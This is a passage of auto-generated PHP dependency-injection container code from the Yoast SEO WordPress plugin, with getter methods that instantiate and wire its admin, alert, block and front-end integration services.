\Yoast\WP\SEO\Integrations\Admin\Migration_Error_Integration(($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] ?? ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Old_Configuration_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Old_Configuration_Integration */ protected function getOldConfigurationIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Configuration_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Old_Configuration_Integration(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Redirect_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Redirect_Integration */ protected function getRedirectIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Redirect_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Redirect_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Redirections_Tools_Page' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Redirections_Tools_Page */ protected function getRedirectionsToolsPageService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Redirections_Tools_Page'] = new \Yoast\WP\SEO\Integrations\Admin\Redirections_Tools_Page(($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Redirects_Page_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Redirects_Page_Integration */ protected function getRedirectsPageIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Redirects_Page_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Redirects_Page_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository'] ?? $this->getWistiaEmbedPermissionRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Unsupported_PHP_Version_Notice' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Unsupported_PHP_Version_Notice * * @deprecated Since Yoast\WP\SEO\Integrations\Admin\Unsupported_PHP_Version_Notice 25.0: Yoast\WP\SEO\Integrations\Admin\Unsupported_PHP_Version_Notice is deprecated since version 25.0! */ protected function getUnsupportedPHPVersionNoticeService() { trigger_deprecation('Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice', '25.0', 'Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice is deprecated since version 25.0!'); return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice'] = new \Yoast\WP\SEO\Integrations\Admin\Unsupported_PHP_Version_Notice(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Workouts_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Admin\Workouts_Integration */ protected function getWorkoutsIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Workouts_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Workouts_Integration(($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), ($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Ai_Generator_Tip_Notification' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Alerts\Ai_Generator_Tip_Notification */ protected function getAiGeneratorTipNotificationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Ai_Generator_Tip_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Ai_Generator_Tip_Notification(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Product_Editor_Checklist_Notification' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Product_Editor_Checklist_Notification */ protected function getBlackFridayProductEditorChecklistNotificationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Product_Editor_Checklist_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Product_Editor_Checklist_Notification(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Promotion_Notification' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Promotion_Notification */ protected function getBlackFridayPromotionNotificationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Promotion_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Promotion_Notification(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Sidebar_Checklist_Notification' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Sidebar_Checklist_Notification */ protected function getBlackFridaySidebarChecklistNotificationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Sidebar_Checklist_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Black_Friday_Sidebar_Checklist_Notification(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Trustpilot_Review_Notification' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Alerts\Trustpilot_Review_Notification */ protected function getTrustpilotReviewNotificationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Trustpilot_Review_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Trustpilot_Review_Notification(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Alerts\Webinar_Promo_Notification' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Alerts\Webinar_Promo_Notification */ protected function getWebinarPromoNotificationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Alerts\\Webinar_Promo_Notification'] = new \Yoast\WP\SEO\Integrations\Alerts\Webinar_Promo_Notification(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Blocks\Block_Editor_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Blocks\Block_Editor_Integration */ protected function getBlockEditorIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Blocks\\Block_Editor_Integration'] = new \Yoast\WP\SEO\Integrations\Blocks\Block_Editor_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Blocks\Breadcrumbs_Block' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Blocks\Breadcrumbs_Block */ protected function getBreadcrumbsBlockService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Blocks\\Breadcrumbs_Block'] = new \Yoast\WP\SEO\Integrations\Blocks\Breadcrumbs_Block(($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] ?? $this->getMetaTagsContextMemoizerService()), ($this->services['WPSEO_Replace_Vars'] ?? $this->getWPSEOReplaceVarsService()), ($this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] ?? $this->getHelpersSurfaceService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Blocks\Internal_Linking_Category' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Blocks\Internal_Linking_Category */ protected function getInternalLinkingCategoryService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Blocks\\Internal_Linking_Category'] = new \Yoast\WP\SEO\Integrations\Blocks\Internal_Linking_Category(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Blocks\Structured_Data_Blocks' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Blocks\Structured_Data_Blocks */ protected function getStructuredDataBlocksService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Blocks\\Structured_Data_Blocks'] = new \Yoast\WP\SEO\Integrations\Blocks\Structured_Data_Blocks(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Breadcrumbs_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Breadcrumbs_Integration */ protected function getBreadcrumbsIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Breadcrumbs_Integration'] = new \Yoast\WP\SEO\Integrations\Breadcrumbs_Integration(($this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] ?? $this->getHelpersSurfaceService()), ($this->services['WPSEO_Replace_Vars'] ?? $this->getWPSEOReplaceVarsService()), ($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] ?? $this->getMetaTagsContextMemoizerService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Cleanup_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Cleanup_Integration */ protected function getCleanupIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration'] = new \Yoast\WP\SEO\Integrations\Cleanup_Integration(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository'] ?? $this->getIndexableCleanupRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Estimated_Reading_Time' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Estimated_Reading_Time */ protected function getEstimatedReadingTimeService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Estimated_Reading_Time'] = new \Yoast\WP\SEO\Integrations\Estimated_Reading_Time(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Exclude_Attachment_Post_Type' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Exclude_Attachment_Post_Type */ protected function getExcludeAttachmentPostTypeService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Exclude_Attachment_Post_Type'] = new \Yoast\WP\SEO\Integrations\Exclude_Attachment_Post_Type(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Exclude_Oembed_Cache_Post_Type' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Exclude_Oembed_Cache_Post_Type */ protected function getExcludeOembedCachePostTypeService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Exclude_Oembed_Cache_Post_Type'] = new \Yoast\WP\SEO\Integrations\Exclude_Oembed_Cache_Post_Type(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Feature_Flag_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Feature_Flag_Integration */ protected function getFeatureFlagIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Feature_Flag_Integration'] = new \Yoast\WP\SEO\Integrations\Feature_Flag_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional'] = new \Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional'] = new \Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Dynamic_Product_Permalinks_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Dynamic_Product_Permalinks_Conditional'] = new \Yoast\WP\SEO\Conditionals\Dynamic_Product_Permalinks_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional'] = new \Yoast\WP\SEO\Conditionals\New_Settings_Ui_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional'] = new \Yoast\WP\SEO\Conditionals\Text_Formality_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional'] = new \Yoast\WP\SEO\Conditionals\Updated_Importer_Framework_Conditional()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Backwards_Compatibility' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Backwards_Compatibility */ protected function getBackwardsCompatibilityService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Backwards_Compatibility'] = new \Yoast\WP\SEO\Integrations\Front_End\Backwards_Compatibility(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Category_Term_Description' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Category_Term_Description */ protected function getCategoryTermDescriptionService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Category_Term_Description'] = new \Yoast\WP\SEO\Integrations\Front_End\Category_Term_Description(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Comment_Link_Fixer' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Comment_Link_Fixer */ protected function getCommentLinkFixerService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Comment_Link_Fixer'] = new \Yoast\WP\SEO\Integrations\Front_End\Comment_Link_Fixer(($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper'] ?? $this->getRobotsHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Basic' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Basic */ protected function getCrawlCleanupBasicService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Basic'] = new \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Basic(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Rss' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Rss */ protected function getCrawlCleanupRssService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Rss'] = new \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Rss(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Searches' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Searches */ protected function getCrawlCleanupSearchesService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Searches'] = new \Yoast\WP\SEO\Integrations\Front_End\Crawl_Cleanup_Searches(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Feed_Improvements' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Feed_Improvements */ protected function getFeedImprovementsService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Feed_Improvements'] = new \Yoast\WP\SEO\Integrations\Front_End\Feed_Improvements(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] ?? $this->getMetaSurfaceService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Force_Rewrite_Title' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Force_Rewrite_Title */ protected function getForceRewriteTitleService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Force_Rewrite_Title'] = new \Yoast\WP\SEO\Integrations\Front_End\Force_Rewrite_Title(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] ?? ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Handle_404' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Handle_404 */ protected function getHandle404Service() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Handle_404'] = new \Yoast\WP\SEO\Integrations\Front_End\Handle_404(($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] ?? ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Indexing_Controls' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Indexing_Controls */ protected function getIndexingControlsService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Indexing_Controls'] = new \Yoast\WP\SEO\Integrations\Front_End\Indexing_Controls(($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Helper'] ?? $this->getRobotsHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Open_Graph_OEmbed' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Open_Graph_OEmbed */ protected function getOpenGraphOEmbedService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Open_Graph_OEmbed'] = new \Yoast\WP\SEO\Integrations\Front_End\Open_Graph_OEmbed(($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] ?? $this->getMetaSurfaceService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\RSS_Footer_Embed' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\RSS_Footer_Embed */ protected function getRSSFooterEmbedService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\RSS_Footer_Embed'] = new \Yoast\WP\SEO\Integrations\Front_End\RSS_Footer_Embed(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Redirects' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Redirects */ protected function getRedirectsService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Redirects'] = new \Yoast\WP\SEO\Integrations\Front_End\Redirects(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Robots_Txt_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Robots_Txt_Integration */ protected function getRobotsTxtIntegrationService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper'] = new \Yoast\WP\SEO\Helpers\Robots_Txt_Helper())); return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Robots_Txt_Integration'] = new \Yoast\WP\SEO\Integrations\Front_End\Robots_Txt_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), $a, new \Yoast\WP\SEO\Presenters\Robots_Txt_Presenter($a)); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\Schema_Accessibility_Feature' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\Schema_Accessibility_Feature */ protected function getSchemaAccessibilityFeatureService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\Schema_Accessibility_Feature'] = new \Yoast\WP\SEO\Integrations\Front_End\Schema_Accessibility_Feature(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End\WP_Robots_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End\WP_Robots_Integration */ protected function getWPRobotsIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End\\WP_Robots_Integration'] = new \Yoast\WP\SEO\Integrations\Front_End\WP_Robots_Integration(($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] ?? $this->getMetaTagsContextMemoizerService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Front_End_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Front_End_Integration */ protected function getFrontEndIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End_Integration'] = new \Yoast\WP\SEO\Integrations\Front_End_Integration(($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] ?? $this->getMetaTagsContextMemoizerService()), $this, ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] ?? $this->getHelpersSurfaceService()), ($this->services['WPSEO_Replace_Vars'] ?? $this->getWPSEOReplaceVarsService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Primary_Category' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Primary_Category */ protected function getPrimaryCategoryService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Primary_Category'] = new \Yoast\WP\SEO\Integrations\Primary_Category(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Settings_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Settings_Integration */ protected function getSettingsIntegrationService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()); $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())); $c = ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\Health_Check\\File_Runner'] ?? ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\Health_Check\\File_Runner'] = new \Yoast\WP\SEO\Llms_Txt\Application\Health_Check\File_Runner())); return $this->services['Yoast\\WP\\SEO\\Integrations\\Settings_Integration'] = new \Yoast\WP\SEO\Integrations\Settings_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['WPSEO_Replace_Vars'] ?? $this->getWPSEOReplaceVarsService()), ($this->services['Yoast\\WP\\SEO\\Config\\Schema_Types'] ?? ($this->services['Yoast\\WP\\SEO\\Config\\Schema_Types'] = new \Yoast\WP\SEO\Config\Schema_Types())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), $a, ($this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Language_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Article_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), $b, ($this->privates['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications'] ?? $this->getContentTypeVisibilityDismissNotificationsService()), new \Yoast\WP\SEO\Llms_Txt\Application\Configuration\Llms_Txt_Configuration($c, $a, $b), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Content\\Manual_Post_Collection'] ?? $this->getManualPostCollectionService()), $c, ($this->services['Yoast\\WP\\SEO\\Helpers\\Route_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Route_Helper'] = new \Yoast\WP\SEO\Helpers\Route_Helper())), ($this->services['Yoast\\WP\\SEO\\Schema\\Application\\Configuration\\Schema_Configuration'] ?? $this->getSchemaConfigurationService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Support_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Support_Integration */ protected function getSupportIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Support_Integration'] = new \Yoast\WP\SEO\Integrations\Support_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] ?? 